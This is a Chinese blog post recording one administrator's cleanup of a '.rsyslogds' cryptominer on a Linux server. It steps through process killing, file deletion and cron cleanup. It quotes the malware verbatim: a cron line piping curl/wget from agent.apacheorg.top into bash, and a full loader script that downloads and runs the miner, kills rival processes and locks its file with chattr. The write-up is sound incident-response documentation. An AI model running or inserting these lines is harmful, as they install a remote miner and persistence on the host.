服务器中.rsyslogds病毒处理过程(别被病毒地址agent.apacheorg.top蒙骗了,它不是真的apache)

突然收到通知说线上有服务不可用了……,赶紧丢下手头的活计检查问题

经检查是由于服务器突然资源被占用,导致本该正常服务的进程都被占用关闭了,并且cpu进程被占用到 了100%。
遇到事情先不要慌,使用top命令,用大写的P使进程按cpu排序检查,发现有很多个.rsyslogds进程排在前列,资源占用前十名都是它。
本来还以为是日志进程,后来发现处理不了才意识到是病毒文件。处理过程记录如下:

1. 首先把当前的病毒进程干掉

pkill -p .rsyslogds

检查是否还有病毒进程存在

ps -f | grep .rsyslogds

(这一步在后续的过程中依然可以运行检查,以防操作过程正是病毒运行复制的过程)

2. 找到启动脚本

先在top中定位到进程的pid,使用ls -al /proc/PID命令找到对应目录。
而这个进程文件在/usr/sbin目录下,使用ls -al /usr/sbin命令可以看到其下有.rsyslogds.rsyslogds.sh两个文件,需要先把他们两个删掉;

如果有当前文件的写命令,但是却提示permission denied,那么可以运行chattr -ai 文件名后再进行删除。

3. 清理病毒定时任务

这里我就是被这个文件名以及里面的文件内容伪装欺骗了
服务器中.rsyslogds病毒处理过程(别被病毒地址agent.apacheorg.top蒙骗了,它不是真的apache)_第1张图片
其实这里的apache、nginx、root文件都是病毒文件,里面都有如下语句

30 23 * * * (curl -s http://agent.apacheorg.top:1234/xmss||wget -q -O - http://agent.apacheorg.top:1234/xmss )|bash -sh

需要把这些病毒文件都删除掉。

然后使用crontab -l检查当前的定时任务
执行crontab -e,把里面的定时任务删掉。

4. 再继续检查

在0hourly下有使用,因此再继续检查/var/spool/anacron/cron.daily/usr/bin/on_ac_power

#!/bin/sh
# Check whether 0anacron was run today already
if test -r /var/spool/anacron/cron.daily; then
    day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
    exit 0;
fi

# Do not run jobs when on battery power
if test -x /usr/bin/on_ac_power; then
    /usr/bin/on_ac_power >/dev/null 2>&1
    if test $? -eq 1; then
    exit 0
    fi
fi
/usr/sbin/anacron -s

vi /var/spool/cron/crontabs/root发现还是有这个内容

30 23 * * * (curl -s http://agent.apacheorg.top:1234/xmss||wget -q -O - http://agent.apacheorg.top:1234/xmss )|bash -sh

编辑删除当前行。
vi /usr/sbin/.inis这个文件内也有,删除这个文件

#!/bin/bash
if ! [ -z "$(command -v wdl)" ] ; then DLB="wdl -O " ; fi ; if ! [ -z "$(command -v wge)" ] ; then DLB="wge -O " ; fi
if ! [ -z "$(command -v wget2)" ] ; then DLB="wget2 -O " ; fi ; if ! [ -z "$(command -v wget)" ] ; then DLB="wget -O " ; fi
if ! [ -z "$(command -v cdl)" ] ; then DLB="cdl -Lk -o " ; fi ; if ! [ -z "$(command -v cur)" ] ; then DLB="cur -Lk -o " ; fi
if ! [ -z "$(command -v curl2)" ] ; then DLB="curl2 -Lk -o " ; fi ; if ! [ -z "$(command -v curl)" ] ; then DLB="curl -Lk -o " ; fi
echo $DLB
if [ -w /usr/sbin ]; then
  SPATH=/usr/sbin
else
  SPATH=/tmp
fi
kill(){
  ps aux | grep -v '.rsyslogds' |grep -v '.libs'| grep -v grep | awk '{if($3>50.0) print $2}' | while read procid
  do
    kill -9 $procid
  done
}
while true; do
  ipurl="http://agent.apacheorg.top:1234"
  MD5_1_XMR = `curl -fsSL $ipurl/v||wget -q -O - $ipurl/v`
  MD5_2_XMR=`md5sum $SPATH/.rsyslogds | awk '{print $1}'`
  if [ "$MD5_1_XMR" = "$MD5_2_XMR" ]; then
    if [ $(ps -aux|grep '.rsyslogds'|grep -v grep|wc -l) -eq '0' ];then
      $SPATH/.rsyslogds
    else
      echo "ok"
    fi
  else
    $DLB $SPATH/.rsyslogds $ipurl/.rsyslogds;chmod +x $SPATH/.rsyslogds;$SPATH/.rsyslogds
    chattr +ai $SPATH/.rsyslogds
  fi
  kill
  sleep 1m
done

要注意这几个位置

/etc/cron.d/用户名
/etc/cron.d/apache
/var/spool/cron/用户名
/var/spool/cron/crontabs/用户名
/etc/cron.hourly/oanacroner1

5. 附:查找相关文件的办法

# 根据文件名查找
find /usr/ -name *rsyslog*
# 根据文件内容查找
find /usr/ -type f -exec grep -l "apacheorg" {} \;

你可能感兴趣的:(linux,服务器,linux,.rsyslogds)